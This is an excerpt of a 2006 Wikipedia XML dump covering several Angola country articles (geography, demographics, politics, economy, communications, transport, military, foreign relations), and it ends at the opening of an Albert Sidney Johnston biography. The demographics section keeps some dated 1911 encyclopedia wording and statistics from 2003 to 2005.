'''[[Geographic coordinates]]:''' {{coor dm|12|30|S|18|30|E|type:country}}

'''Map references:''' Africa

== Area ==
* ''total:'' 1,246,700 km²
* ''land:'' 1,246,700 km²
* ''water:'' 0 km²

=== Area comparative ===
*[[Australia]] comparative:  smaller than the [[Northern Territory]]
*[[Canada]] comparative: slightly smaller than the [[Northwest Territories]]
*[[United Kingdom]] comparative: 5 times bigger than the UK
*[[United States]] comparative: slightly less than twice the size of [[Texas]]

== Capital ==

*[[Luanda]] (São Paulo de Loanda) - port - [[railhead]]

== Major Cities ==

*[[Amboim]] (Porto Amboim)
*[[Bailundo]] (Vila Teixeira da Silva)
*[[Benguela]] (São Felipe de Benguella) - port - [[railhead]]
*[[Caála]] (Vila Robert Williams)
*[[Calandula]] (Duque de Bragança)
*[[Camacupa]] (Vila General Machado)
*[[Chibia]] (Vila João de Almeida)
*[[Ganda]] (Vila Mariano Machado)
*[[Huambo]] (Nova Lisboa) - rail
*[[Kuito]] (Silva Porto)
*[[Kuvango]] (Vila da Ponte)
*[[Lubango]] (Sá da Bandeira)
*[[Lwena]] (Vila Luso)
*[[Massango]] (Forte República)
*[[Mbanza Congo]] (São Salvador do Congo)
*[[Menongue]] (Serpa Pinto) - [[railhead]]
*[[Namibe]] (Moçâmedes) - port - [[railhead]]
*[[N'Dalatando]] (Vila Salazar) - rail
*[[N'Giva]] (Vila Pereira d'Eça)
*[[Saurimo]] (Vila Henrique de Carvalho)
*[[Soyo]] (Santo António do Zaire)
*[[Sumbe]] (Novo Redondo)
*[[Tombua]] (Porto Alexandre)
*[[Uíje]] (Carmona)

* Other [[Towns in Angola]]

== Land boundaries ==
* ''total:'' 5,198 km

* ''border countries:'' [[Democratic Republic of the Congo]] 2,511 km (of which 220 km is the boundary of discontiguous [[Angola/Cabinda|Cabinda Province]]), Republic of the Congo 201 km, [[Namibia]] 1,376 km, [[Zambia]] 1,110 km

'''Coastline:''' 1,600 km

'''Maritime claims:''' 
* ''contiguous zone:'' 24 nautical miles (44,5 km) 
* ''exclusive economic zone:'' 200 [[nautical mile]]s (370 km)
* ''territorial sea:'' 12 nautical miles (22 km)

== Climate ==

Like the rest of tropical Africa, Angola experiences distinct, alternating rainy and dry seasons. It is semiarid in South and along coast to Luanda; North has cool, dry season (May to October) and hot, rainy season (November to April).  In the interior, above 3300 ft. (1000 m), the temperature and rainfall decrease.  The plateau climate is healthy and invigorating.  The mean annual temperature at [[São Salvador do Congo]] is 22.2° C (72.5° F); at [[Loanda]], 23.3° C (74.3° F); and at [[Caconda]], 19.5° C (67.2° F).  The climate is greatly influenced by the prevailing [[wind]]s, which arc W., S.W. and S.S.W.  Two seasons are distinguished - the cool, from June to September; and the rainy, from October to May.  The heaviest [[rainfall]] occurs in April, and is accompanied by violent storms.

== Terrain ==
Angola has three principal natural regions: the coastal lowland, characterized by low plains and terraces; hills and mountains, rising inland from the coast into a great escarpment; and an area of high plains, called the high plateau (planalto), which extends eastward from the escarpment. The highest point in Angola is [[Morro de Moco]], at 2,620 m.

===Coastal lowland===
The coastal lowland rises from the sea in a series of low terraces. This region varies in width from about 25 kilometers near Benguela to more than 150 kilometers in the Cuanza River Valley just south of Angola's capital, Luanda, and is markedly different from Angola's highland mass. The Atlantic Ocean's cold, northwardflowing Benguela Current substantially reduces precipitation along the coast, making the region relatively arid or nearly so south of Benguela (where it forms the northern extension of the Namib Desert), and quite dry even in its northern reaches. Even where, as around Luanda, the average annual rainfall may be as much as fifty centimeters, it is not uncommon for the rains to fail. Given this pattern of precipitation, the far south is marked by sand dunes, which give way to dry scrub along the middle coast. Portions of the northern coastal plain are covered by thick brush.

===Hills and mountains===
The belt of hills and mountains parallels the coast at distances ranging from 20 kilometers to 100 kilometers inland. The Cuanza River divides the zone into two parts. The northern part rises gradually from the coastal zone to an average elevation of 500 meters, with crests as high as 1,000 meters to 1,800 meters. South of the Cuanza River, the hills rise sharply from the coastal lowlands and form a high escarpment, extending from a point east of Luanda and running south through Namibia. The escarpment reaches 2,400 meters at its highest point, southeast of the town of Sumbe, and is steepest in the far south in the Serra da Chela mountain range.

===High plateau===
The high plateau lies to the east of the hills and mountains and dominates Angola's terrain. The surface of the plateau is typically flat or rolling, but parts of the Benguela Plateau and the Humpata Highland area of the Huíla Plateau in the south reach heights of 2,500 meters and more. The Malanje Plateau to the north rarely exceeds 1,000 meters in height. The Benguela Plateau and the coastal area in the immediate environs of Benguela and Lobito, the Bié Plateau, the Malanje Plateau, and a small section of the Huíla Plateau near the town of Lubango have long been among the most densely settled areas in Angola.

==Drainage==

Most of the country's many rivers originate in central Angola, but their patterns of flow are diverse and their ultimate outlets varied. A number of rivers flow in a more or less westerly course to the Atlantic Ocean, providing water for irrigation in the dry coastal strip and the potential for hydroelectric power, only some of which had been realized by 1988. Two of Angola's most important rivers, the Cuanza and the Cunene, take a more indirect route to the Atlantic, the Cuanza flowing north and the Cunene flowing south before turning west. The Cuanza is the only river wholly within Angola that is navigable--for nearly 200 kilometers from its mouth- -by boats of commercially or militarily significant size. The Congo River, whose mouth and western end form a small portion of Angola's northern border with Zaire, is also navigable.

North of the Lunda Divide a number of important tributaries of the Congo River flow north to join it, draining Angola's northeast quadrant. South of the divide some rivers flow into the Zambezi River and thence to the Indian Ocean, others to the Okavango River (as the Cubango River is called along the border with Namibia and in Botswana) and thence to the Okavango Swamp in Botswana. The tributaries of the Cubango River and several of the southern rivers flowing to the Atlantic are seasonal, completely dry much of the year.

==Land use and hazards==

'''Natural resources:''' [[petroleum]], [[diamond]]s, [[iron]] ore, [[phosphates]], [[copper]], [[feldspar]], [[gold]], [[bauxite]], [[uranium]]

'''Land use:'''
* ''arable land:'' 2.41%
* ''permanent crops:'' 0.4%
* ''other:'' 97.19% (1999 est.)

'''Irrigated land:''' 750 km² (1998 est.)

'''Natural hazards:''' locally heavy rainfall causes periodic flooding on the plateau

== Environment - current issues ==
Overuse of [[pasture]]s and subsequent [[soil erosion]] attributable to population pressures; [[desertification]]; [[deforestation]] of tropical rain forest, in response to both international demand for tropical [[timber]] and to domestic use as fuel, resulting in loss of [[biodiversity]]; soil erosion contributing to [[water pollution]] and [[silting]] of rivers and dams; inadequate supplies of potable water

'''Environment - international agreements:'''
* ''party to:'' Biodiversity, [[Climate Change]], Desertification, [[Law of the Sea]], [[Ozone Layer Protection]], Ship Pollution ([[MARPOL 73/78]])
* ''signed, but not ratified:'' none of the selected agreements

== Flora and fauna ==

Both [[flora (plants)|flora]] and [[fauna (animals)|fauna]] are those characteristic of the greater part of tropical Africa.  As far south as Benguela the coast region is rich in [[oil palm]]s and [[mangrove]]s.  In the Northern part of the province are dense forests.  In the South towards the Kunene are regions of dense [[thorn scrub]].  [[Rubber]] vines and trees are abundant, but in some districts their number has been considerably reduced by the primitive methods adopted by native collectors of rubber.  The species most common are various root rubbers, notably the ''Carpodinus chylorrhiza''.  This species and other varieties of carpodinus are very widely distributed. [[Landolphia]]s are also found.  The [[coffee]], [[cotton]] and [[Guinea pepper]] plants are indigenous, and the [[tobacco]] plant flourishes in several districts.  Among the trees are several which yield excellent timber, such as the [[tacula]] (''Pterocarpus tinctorius''), which grows to an immense size, its wood being blood-red in colour, and the Angola [[mahogany]].  The [[bark]] of the [[musuemba]] (''Albizzia coriaria'') is largely used in the tanning of [[leather]].  The [[mulundo]] bears a fruit about the size of a cricket ball covered with a hard green shell and containing scarlet pips like a [[pomegranate]].  The fauna includes the [[lion]], [[leopard]], [[cheetah]], [[elephant]], [[giraffe]], [[rhinoceros]], [[hippopotamus]], [[African Buffalo|buffalo]], [[zebra]], [[kudu]] and many other kinds of [[antelope]], [[wildpig]], [[ostrich]] and [[crocodile]].  Among fish are the [[barbel]], [[bream]] and [[African yellow fish]].

'''Geography - note:''' the province of [[Cabinda (province)|Cabinda]] is an [[exclave]], separated from the rest of the country by the [[Democratic Republic of the Congo]]

== Extreme points ==

This is a list of the '''extreme points of [[Angola]]''', the points that are farther north, south, east or west than any other location.

'''''Angola'''''

* Northernmost Point - unnamed point on the border with [[Republic of the Congo]] (north of the town [[Caio Bemba]], [[Cabinda (province)|Cabinda]] province (an Angolan [[exclave]])
* Easternmost Point - unnamed location on a river section of the border with [[Zambia]] (north of the town [[Sapeta]] in Zambia), [[Moxico (province)|Moxico]] province
* Southernmost Point - on the point where the [[Cunene River]] section of the border with [[Namibia]] terminates at the [[Caprivi Strip]] (immediately north of the town [[Andara]] in Namibia, [[Cuando Cubango]] province
* Westernmost Point - [[Baía dos Tigres]] island, [[Namibe Province]] 

'''''Angola (mainland)'''''

* Northernmost Point - a point on the border with the [[Democratic Republic of Congo]] immediately to the north-west of the town [[Luvo]], [[Zaire Province]]
* Easternmost Point - unnamed point on a river section of the border with [[Zambia]] (north of the town [[Sapeta]] in Zambia), [[Moxico (province)|Moxico]] province
* Southernmost Point - on the point where the [[Cunene River]] section of the border with [[Namibia]] terminates at the [[Caprivi Strip]] (immediately north of the town [[Andara]] in Namibia, [[Cuando Cubango]] province
* Westernmost Point - unnamed headland west of [[Tombua]] (Porto Alexandre), [[Namibe Province|Namibe]]

== Sources ==
*[http://lcweb2.loc.gov/frd/cs/cshome.html Library of Congress, Country Studies]
*''Much of the material in this article comes from the [[CIA World Factbook]] 2003 and the 2003 U.S. Department of State website.''
*{{1911}}

== See also ==
*[[Angola]]
*[[Extreme points of Angola]]

{{Africa in topic|Geography of}}

[[Category:Geography of Angola| ]]
[[Category:Geography by country|Angola, Geography of]]

[[es:Geografía de Angola]]
[[fr:Géographie de l'Angola]]
[[pt:Geografia de Angola]]</text>
    </revision>
  </page>
  <page>
    <title>Demographics of Angola</title>
    <id>704</id>
    <revision>
      <id>41587062</id>
      <timestamp>2006-02-28T09:00:51Z</timestamp>
      <contributor>
        <ip>203.131.142.187</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Angola demography.png|thumb|300px|right|Demographics of [[Angola]], Data of [[Food and Agriculture Organization|FAO]], year 2005 ; Number of inhabitants in thousands.]]
The '''demographics of Angola''' consist of three main ethnic groups, each speaking a [[Bantu language]]: [[Ovimbundu]] 37%, [[Kimbundu]] 25%, and [[Bakongo]] 13%. Other groups include [[Chokwe]] (or Lunda), Ganguela, Nhaneca-Humbe, Ambo, Herero, and Xindunga. In addition, mixed racial (European and Africa) people amount to about 2%, with a small (1%) population of whites, mainly ethnically [[Portuguese people|Portuguese]]. Portuguese make up the largest non-Angolan population, with at least 30,000 (though many native-born Angolans can claim Portuguese nationality under Portuguese law). In [[1975]], 250,000 [[Cuba]]n soldiers settled Angola to help the MPLA forces to fight for its independence. These Cubans are of European and [[Asia]]n (mostly [[Chinese Cuban| Chinese]] descent, while others include those of pure [[Afro-Cuban|African]] and [[mulatto]] descent, who has ancestors in Angola. But in [[1989]], almost all Cubans went out of the country after a peace agreement has been signed between Angola, Cuba, and [[South Africa]]. Cubans speak [[Spanish language]], but almost none of their descendants speak it. [[Portuguese language|Portuguese]] is both the official and predominant language. 

The great majority of the inhabitants are of Bantu-Negro stock with some admixture in the Congo district with the pure negro type. In the south-east are various tribes of Bushmen. The best-known of the Bantu-Negro tribes are the Ba-Kongo (Ba-Fiot), who dwell chiefly in the north, and the Abunda (Mbunda, Ba-Bundo), who occupy the central part of the province, which takes its name from the Ngola tribe of Abunda. Another of these tribes, the Bangala, living on the west bank of the upper Kwango, must not be confounded with the Bangala of the middle [[Congo]]. In the Abunda is a considerable strain of Portuguese blood. The Ba-Lunda inhabit the Lunda district. Along the upper Kunene and in other districts of the plateau are settlements of Boers, the Boer population being about 2000. In the coast towns the majority of the white inhabitants are Portuguese. The Mushi-Kongo and other divisions of the Ba-Kongo retain curious traces of the Christianity professed by them in the sixteenth and seventeenth centuries and possibly later. Crucifixes are used as potent fetish charms or as symbols of power passing down from chief to chief; whilst every native has a &quot;Santu&quot; or Christian name and is dubbed dom or dona. Fetishism is the prevailing religion throughout the province. The dwelling-places of the natives are usually small huts of the simplest construction, used chiefly as sleeping apartments; the day is spent in an open space in front of the hut protected from the sun by a roof of palm or other leaves.

==Demographic data from the CIA World Factbook==
[[Image:Angola population pyramid 2005.png|thumb|300px|[[Population pyramid]] for Angola]]
===Population===
:11,190,786 (July 2005 est.)

===Age structure===
:0-14 years: 43.4% (male 2,454,209/female 2,407,083)
:15-64 years: 53.7% (male 3,059,339/female 2,955,060)
:65 years and over: 2.8% (male 139,961/female 175,134) (2005 est.)

===Median age===
:Total: 18.12 years
:Male: 18.12 years
:Female: 18.11 years (2005 est.)

===Population growth rate===
:1.9% (2005 est.)

===Birth rate===
:44.64 births/1,000 population (2005 est.)

===Death rate===
:25.9 deaths/1,000 population (2005 est.)

===Net migration rate===
:0.28 migrant(s)/1,000 population (2005 est.)

===Sex ratio===
:At birth: 1.05 male(s)/female
:Under 15 years: 1.02 male(s)/female
:15-64 years: 1.04 male(s)/female
:65 years and over: 0.8 male(s)/female
:Total population: 1.02 male(s)/female (2005 est.)

===Infant mortality rate===
:Total: 191.19 deaths/1,000 live births
:Male: 203.68 deaths/1,000 live births
:Female: 178.07 deaths/1,000 live births (2005 est.)

===Life expectancy at birth===
:Total population: 36.61 years
:Male: 36 years
:Female: 37.25 years (2005 est.)

===Total fertility rate===
:6.27 children born/woman (2005 est.)

===HIV/AIDS===
:Adult prevalence rate: 3.9% (2003 est.)
:People living with HIV/AIDS: 240,000 (2003 est.)
:Deaths: 21,000 (2003 est.)

===Major infectious diseases===
:Degree of risk: very high
:Food or waterborne diseases: bacterial and protozoal diarrhea, hepatitis A, typhoid fever
:Vectorborne diseases: malaria, African trypanosomiasis (sleeping sickness) are high risks in some locations
:Respiratory disease: meningococcal meningitis
:Water contact disease: schistosomiasis (2004)

===Nationality===
:Noun: Angolan(s)
:Adjective: Angolan

===Ethnic groups===
:Ovimbundu 37%, Kimbundu 25%, Bakongo 13%, mestico (mixed European and native African) 2%, European 1%, other 22%

===Religions===
:Indigenous beliefs 47%, Roman Catholic 38%, Protestant 15% (1998 est.)

===Languages===
:Portuguese (official), Bantu and other African languages

===Literacy===
:Definition: age 15 and over can read and write
:Total population: 42%
:Male: 56%
:Female: 28% (1998 est.)

==References==
''Much of the material in this article comes from the [[CIA World Factbook]] 2005 and the 2003 U.S. Department of State website.''

{{Africa in topic|Demographics of}}

[[Category:Geography of Angola]]
[[Category:Angolan society]]
[[Category:Demographics by country|Angola]]</text>
    </revision>
  </page>
  <page>
    <title>Politics of Angola</title>
    <id>705</id>
    <revision>
      <id>35512983</id>
      <timestamp>2006-01-17T07:09:30Z</timestamp>
      <contributor>
        <username>Acntx</username>
        <id>104025</id>
      </contributor>
      <comment>/* International organization participation */</comment>
      <text xml:space="preserve">{{Politics of Angola}}
[[Angola]] changed from a [[Single-party state|one-party]] [[Marxist]]-[[Leninist]] system ruled by the [[MPLA]] to a formal multiparty democracy following the 1992 elections. President [[José Eduardo dos Santos|dos Santos]] won the first round election with more than 49% of the vote to [[Jonas Savimbi]]'s 40%. A runoff never has taken place. The subsequent renewal of civil war and collapse of the [[Lusaka Protocol]] have left much of this process stillborn, but democratic forms exist, notably the [[National Assembly of Angola|National Assembly]].
Currently, political power is concentrated in the Presidency. The executive branch of the government is composed of the President, the Prime Minister (currently [[Fernando da Piedade Dias dos Santos]]) and Council of Ministers. The Council of Ministers, composed of all government ministers and vice ministers, meets regularly to discuss policy issues. Governors of the 18 provinces are appointed by and serve at the pleasure of the president. The Constitutional Law of 1992 establishes the broad outlines of government structure and delineates the rights and duties of citizens. The legal system is based on Portuguese and customary law but is weak and fragmented. Courts operate in only 12 of more than 140 municipalities. A Supreme Court serves as the appellate tribunal; a Constitutional Court with powers of judicial review has never been constituted despite statutory authorization.

The 26-year long civil war has ravaged the country's political and social institutions. The UN estimates of 1.8 million [[internally displaced person]]s (IDPs), while generally the accepted figure for war-affected people is 4 million. Daily conditions of life throughout the country and specifically Luanda (population approximately 4 million) mirror the collapse of administrative infrastructure as well as many social institutions. The ongoing grave economic situation largely prevents any government support for social institutions. Hospitals are without medicines or basic equipment, schools are without books, and public employees often lack the basic supplies for their day-to-day work.


==Executive branch==
{{office-table}}
|[[President of Angola|President]]
|[[José Eduardo dos Santos]]
|[[Popular Movement for the Liberation of Angola|MPLA]]
|[[21 September]] [[1979]]
|-
|[[Prime Minister of Angola|Prime Minister]]
|[[Fernando da Piedade Dias dos Santos]] &quot;Nando&quot;
|[[Popular Movement for the Liberation of Angola|MPLA]]
|[[6 December]] [[2002]]
|}
The president is elected for a five year term by the people. The Council of Ministers appointed by the president.

==Legislative branch==
The '''[[National Assembly of Angola|National Assembly]]''' (''Assembleia Nacional'') has 220 members, elected for a four year term, 130 members by [[proportional representation]] and 90 members in provincial districts. The next elections, due for 1997, have been put off indefinitely. 

==Political parties and elections==
{{elect|List of political parties in Angola|Elections in Angola}}
The president has announced the government's intention to hold elections in [[2006]]. These elections would be the first since 1992 and would serve to elect both a new president and a new National Assembly.
{{Angola presidential election, 1992}}
{{Angola parliamentary election, 1992}}

==Judicial branch==
Supreme Court or Tribunal da Relacao, judges of the Supreme Court are appointed by the president

==Administrative divisions==
Angola has eighteen provinces (provincias, singular - provincia); Bengo, Benguela, Bie, Cabinda, Cuando Cubango, Cuanza Norte, Cuanza Sul, Cunene, Huambo, Huila, Luanda, Lunda Norte, Lunda Sul, Malanje, Moxico, Namibe, Uige, Zaire

==Political pressure groups and leaders==
Front for the Liberation of the Enclave of Cabinda or FLEC [N'zita Henriques TIAGO; Antonio Bento BEMBE]
* ''note:'' FLEC is waging a small-scale, highly factionalized, armed struggle for the independence of Cabinda Province

==International organization participation==
ACP, AfDB, CEEAC, ECA, FAO, G-77, IAEA, IBRD, ICAO, ICCt (signatory), ICFTU, ICRM, IDA, IFAD, IFC, IFRCS, ILO, IMF, IMO, Interpol, IOC, IOM, ISO (correspondent), ITU, NAM, OAS (observer), OAU, SADC, UN, UN Security Council (temporary), UNCTAD, UNESCO, UNIDO, UPU, WCO, WFTU, WHO, WIPO, WMO, WToO, WTrO

{{Africa in topic|Politics of}}

[[Category:Politics of Angola| ]]

[[pt:Política de Angola]]</text>
    </revision>
  </page>
  <page>
    <title>Economy of Angola</title>
    <id>706</id>
    <revision>
      <id>38981232</id>
      <timestamp>2006-02-09T22:46:25Z</timestamp>
      <contributor>
        <username>Briaboru</username>
        <id>284038</id>
      </contributor>
      <text xml:space="preserve">{{Economy of Angola table}}
[[Angola]]'s is the fastest-growing economy in Africa, largely due to a major oil boom, but it also ranks in the bottom 10 of socioeconomic conditions in the world. Aside from the oil sector and [[diamond]]s, it is in economic disarray because of 26 years of nearly continuous warfare. Despite abundant natural resources, output per capita remains among the world's lowest. Subsistence agriculture and dependence on humanitarian food assistance sustain the large majority of the population. Little industry exists.

By contrast, the rapidly expanding [[petroleum]] industry now producing up to 800,000 barrels (127,000 m&amp;sup3;) per day, behind only Nigeria in Africa, accounts for more than 60% of GNP and 90% of government revenues. Oil production remains largely offshore and has few linkages with other sectors of the economy. Block Zero, located of the enclave of Cabinda, provides the majority of Angola's crude oil production. There, [[ChevronTexaco]], through its subsidiary Cabinda Gulf Oil Company, is the operator with a 39.2% share, with [[SONANGOL]] (the Angolan state oil company), [[Total S.A.|Total]], and [[ENI-Agip]] splitting up the rest. ChevronTexaco also operates Angola's first producing deepwater section, Block 14, which started pumping in January 2000. The U.S. takes more than half of Angola's production, by far the largest importer. Exports to Asian countries have grown rapidly in recent years, however, especially China. Significant discoveries have been made on deepwater Blocks 15, 17, 18, and 24, with [[ExxonMobil]], [[BP]], [[Statoil]], [[Norsk Hydro]], and [[Agip]] having major interests. Total operates Angola's one refinery (in Luanda) as a joint venture with SONANGOL; plans for a second refinery in Lobito are moving forward.

In the last decade of the colonial period, Angola was a major African food exporter but now is forced to import almost all its food. Because of severe wartime conditions, including extensive planting of landmines throughout the countryside, agricultural activities have been brought to a near standstill. Some efforts to recover have gone forward, however, notably in fisheries. Coffee production, though a fraction of its pre-1975 level, is sufficient for domestic needs and some exports. In sharp contrast to a bleak picture of devastation and bare subsistence is expanding oil production, now almost half of GDP and 90% of exports, at 800,000 barrels (127,000 m&amp;sup3;) a day. Diamonds make up most of the remaining exports--and have provided much of the revenue for [[Jonas Savimbi]]'s [[UNITA]] rebellion through illicit trade. Other rich resources await development: gold, forest products, fisheries, iron ore, coffee, and countless fruits.

An economic reform effort was launched in 1998. In April 2000, Angola started an International Monetary Fund (IMF) Staff-Monitored Program (SMP). The program formally lapsed in June 2001, but the IMF remains engaged. In this context, the Government of Angola has succeeded in unifying exchange rates and has raised fuel, electricity, and water rates. The Commercial Code, telecommunications law, and Foreign Investment Code are being modernized. A privatization effort, prepared with World Bank assistance, has begun with the BCI bank. Nevertheless, a legacy of fiscal mismanagement and corruption persists.

Angola is the third-largest trading partner of the United States in Sub-Saharan Africa, largely because of its petroleum exports. The U.S. imports about 4% of its oil from Angola, a share which should continue to increase. By the same token, U.S. companies account for more than half the investment in Angola, with Chevron-Texaco leading the way. The U.S. exports industrial goods and services--primarily oilfield equipment, mining equipment, chemicals, aircraft, and food--to Angola, while principally importing petroleum. 

'''Economy - overview:''' Angola is an economy in disarray because of a quarter century of nearly continuous warfare and corruption. Despite its abundant natural resources, output per capita is among the world's lowest. Subsistence agriculture provides the main livelihood for 85% of the population. Oil production and the supporting activities are vital to the economy, contributing about 45% to GDP and 90% of exports. Notwithstanding the signing of a peace accord in November 1994, violence continues, millions of land mines remain, and many farmers are reluctant to return to their fields. As a result, much of the country's food must still be imported. To take advantage of its rich resources - [[gold]], [[diamond]]s, extensive forests, Atlantic fisheries, and large oil deposits - Angola will need to implement the peace agreement and reform government policies. Despite the increase in the pace of civil warfare in late 1998, the economy grew by an estimated 4% in 1999. The government introduced new currency denominations in 1999, including a 1 and 5 kwanza note. Expanded oil production brightens prospects for 2000, but internal strife discourages investment outside of the petroleum sector.
[[Category:African Union member economies|Angola]]</text>
    </revision>
  </page>
  <page>
    <title>Communications in Angola</title>
    <id>707</id>
    <revision>
      <id>37393314</id>
      <timestamp>2006-01-30T19:24:11Z</timestamp>
      <contributor>
        <username>ZachPruckowski</username>
        <id>626251</id>
      </contributor>
      <minor />
      <text xml:space="preserve">[[Communication|Communications]] in [[Angola]]:

==Telephony==
Telephone service is limited mostly to government and business use.  96,300 [[landline|main lines]] were reported to be in use in 2003, and 130,000 [[mobile cellular]] lines were reported in 2002.  [[high frequency|HF]] [[radiotelephone]] is used extensively for military links.

The domestic system consists of a limited system of [[wire]].  It also uses [[microwave radio relay]] and [[tropospheric scatter]].

The international [[country calling code|country code]] for Angola is 244.  Angola has 2 [[Intelsat]] [[satellite earth station]]s for communications across the [[Atlantic Ocean]].  [[Fiber optic]] [[submarine cable]] ([[SAT-3/WASC]]) provides connectivity to [[Europe]] and [[Asia]].

==Radio==
:'''Broadcast stations''': AM 21, FM 6, shortwave 7 (2000)
:'''Radios''': 630,000 (1997)

==Television==
:'''Broadcast stations''': 6 (2000)
:'''Televisions''': 150,000 (1997)

==Internet==
:'''Internet hosts''': 17 (2003)
:'''Internet users''': 200,000 (2002)
:'''[[ISO 3166-1 alpha-2]] [[country code]]''': AO

==Reference==
*[[CIA World Factbook]] 2004

{{Africa-stub}}

[[Category:Communications in Angola| ]]</text>
    </revision>
  </page>
  <page>
    <title>Transport in Angola</title>
    <id>708</id>
    <revision>
      <id>36634605</id>
      <timestamp>2006-01-25T12:33:02Z</timestamp>
      <contributor>
        <username>Tabletop</username>
        <id>173687</id>
      </contributor>
      <comment>under construction</comment>
      <text xml:space="preserve">'''Transportation in Angola''' comprises:
== Railways ==
* ''total:'' 2,761 km
* ''narrow gauge:'' 2,638 km 1.067-m gauge; 123 km 0.600-m gauge (2002)
* there are three separate lines which do not link up.  A fourth system linked [[Gunza]] and [[Gabela]].

* railways in Angola have suffered a lot of damage in the civil war, and a $4b project is proposed to restore the lines, and even to extend the system.  A link to Namibia is partly under construction.

=== Railway links to adjacent countries ===

The major railway in [[Angola]] is the [[Benguela railway]], severely damaged during the civil war after independence.

* [[Transportation in the Democratic Republic of the Congo|Congo]] - no - [[Lobito]] - [[Lubumbashi]] restoration link proposed.
* [[Transportation in Namibia|Namibia]] - no - same gauge - links proposed and partially under construction in [[2005]].
* [[Transportation in Zambia|Zambia]] - no

== Highways ==
* ''total:'' 76,626 km
* ''paved:'' 19,156 km
* ''unpaved:'' 57,470 km (1997 est.)

== Waterways == 1,295 km navigable

== Pipelines ==

* crude oil 179 km

== Ports and harbors ==
=== Atlantic Ocean ===
* from North to South
* [[Ambriz]]
* [[Cabinda (province)|Cabinda]]
* [[Luanda]] - [[railhead]] for [[Malanje]]
* [[Lobito]] - [[railhead]] for [[Democratic Republic of the Congo|Congo]]
* [[Malongo]]
* [[Namibe]] - [[railhead]] for [[Menongue]]
* [[Porto Amboim]] 
* [[Soyo]]

== Merchant marine ==
* ''total:'' 8 ships (1,000 GRT or over) 30,311 GRT/48,924 DWT 
* ''ships by type:'' cargo 7, petroleum tanker 1 (2002 est.)

== Airports == 243 (2002)

=== Airports - with paved runways === 
* ''total:'' 32
* ''over 3,047 m:'' 4
* ''2,438 to 3,047 m:'' 8
* ''1,524 to 2,437 m:'' 14
* ''914 to 1,523 m:'' 5
* ''under 914 m:'' 1 (2002 est.)

=== Airports - with unpaved runways ===
* ''total:''  211 (2002)
* ''over 3,047 m:'' 2
* ''2,438 to 3,047 m:'' 4
* ''1,524 to 2,437 m:'' 30
* ''914 to 1,523 m:'' 95
* ''under 914 m:'' 80 (2002 est.)

=== National Airline ===
* [[TAAG Air Angola]]

== Reference ==
''This article comes from the [[CIA World Factbook]] 2003.''

== See also ==

* [[Angola]]



{{CIAfb}}


{{Africa in topic|Transport in}}


[[Category:Transportation in Angola| ]]</text>
    </revision>
  </page>
  <page>
    <title>Military of Angola</title>
    <id>709</id>
    <revision>
      <id>42091342</id>
      <timestamp>2006-03-03T19:45:35Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <text xml:space="preserve">{{Military
| color=#CC3300
| age=17 years of age for compulsory military service; conscript service obligation - 2 years plus time for training (2001)
| availability=2,423,221 (2005 est.)
| service=1,174,548 (2005 est.)
| reaching age=121,254 (2005 est.)
| active=
| amount=$183.58 million (2004)
| percent GDP=10.6% (2004)
}}

[[Angola]]'s military is called the FAA, the Portuguese acronym for [[Angolan Armed Forces]], headed by a Chief of Staff who reports to the Minister of Defense. There are three divisions--the '''Army''', Navy ('''Marinha de Guerra''', MdG), and '''Air and Air Defense Forces''' (FANA). Total manpower is about 110,000. The army is by far the largest of the services with about 100,000 men and women. The navy numbers about 3,000 and operates several small patrol craft and barges. Air force personnel total about 7,000; its equipment includes Russian-manufactured fighters and transport planes. A small number of FAA personnel are stationed in the [[Democratic Republic of the Congo]] (Kinshasa) and the [[Republic of the Congo]] (Brazzaville). 

==References==
*''[[CIA World Factbook]]'', 2005
*''U.S. Department of State Background Notes'', 2003

[[Category:Military of Angola]]
[[Category:Militaries|Angola]]</text>
    </revision>
  </page>
  <page>
    <title>Foreign relations of Angola</title>
    <id>710</id>
    <revision>
      <id>39812262</id>
      <timestamp>2006-02-16T00:55:16Z</timestamp>
      <contributor>
        <ip>71.3.230.131</ip>
      </contributor>
      <text xml:space="preserve">{{Politics of Angola}}
Froom 1975 to 1989, [[Angola]] was aligned with the [[Eastern bloc]], in particular the [[Soviet Union]] and [[Cuba]]. Since then, it has focused on improving relationships with [[Western world|Western countries]], cultivating links with other Portuguese-speaking countries, and asserting its own national interests in [[Central Africa]] through military and diplomatic intervention. In 1993, it established formal diplomatic relations with the [[United States]]. It has entered the [[Southern African Development Community]] as a vehicle for improving ties with its largely anglophone neighbors to the south. [[Zimbabwe]] and [[Namibia]] joined Angola in its military intervention in the [[Democratic Republic of the Congo]], where Angolan troops remain in support of the [[Joseph Kabila]] government. It also has intervened in the [[Republic of the Congo]] (Brazzaville) to support the existing government in that country.

Since 1998, Angola has successfully worked with the [[UN Security Council]] to impose and carry out sanctions on [[UNITA]]. More recently, it has extended those efforts to controls on conflict diamonds, the primary source of revenue for UNITA. At the same time, Angola has promoted the revival of the Community of Portuguese-Speaking Countries (CPLP) as a forum for cultural exchange and expanding ties with Portugal and Brazil in particular.

'''Disputes - international:''' [[Angola]] gives shelter to thousands of refugees from the Democratic Republic of the Congo while thousands of Angolan refugees still remain in neighboring states as a consequence of the protracted civil wars in both states

'''Illicit drugs:''' [[Angola]] is used as a transshipment point for cocaine destined for [[Western Europe]] and other African states

==Reference==
''Much of the material in this article comes from the [[CIA World Factbook]] 2003 and the 2003 U.S. Department of State website.''

{{Africa in topic|Foreign relations of}}

[[Category:Foreign relations of Angola| ]]</text>
    </revision>
  </page>
  <page>
    <title>Albert Sidney Johnston</title>
    <id>711</id>
    <revision>
      <id>41210266</id>
      <timestamp>2006-02-25T20:31:06Z</timestamp>
      <contributor>
        <ip>213.232.248.85</ip>
      </contributor>
      <comment>/* Texas Army */</comment>
      <text xml:space="preserve">[[Image:ASJohnston.jpeg|thumb|Albert Sidney Johnston]]
'''Albert Sidney Johnston''' ([[February 2]], [[1803]] &amp;ndash; [[April 6]], [[1862]]) was a career [[U.S. Army]] officer and a [[Confederate States Army | Confederate]] [[general]] during the [[American Civil War]]. Considered by [[President of the Confederate States | Confederate President]] [[Jefferson Davis]] to be the finest general in the Confederacy, he was killed early in the war at the [[Battle of Shiloh]].

==Early life==
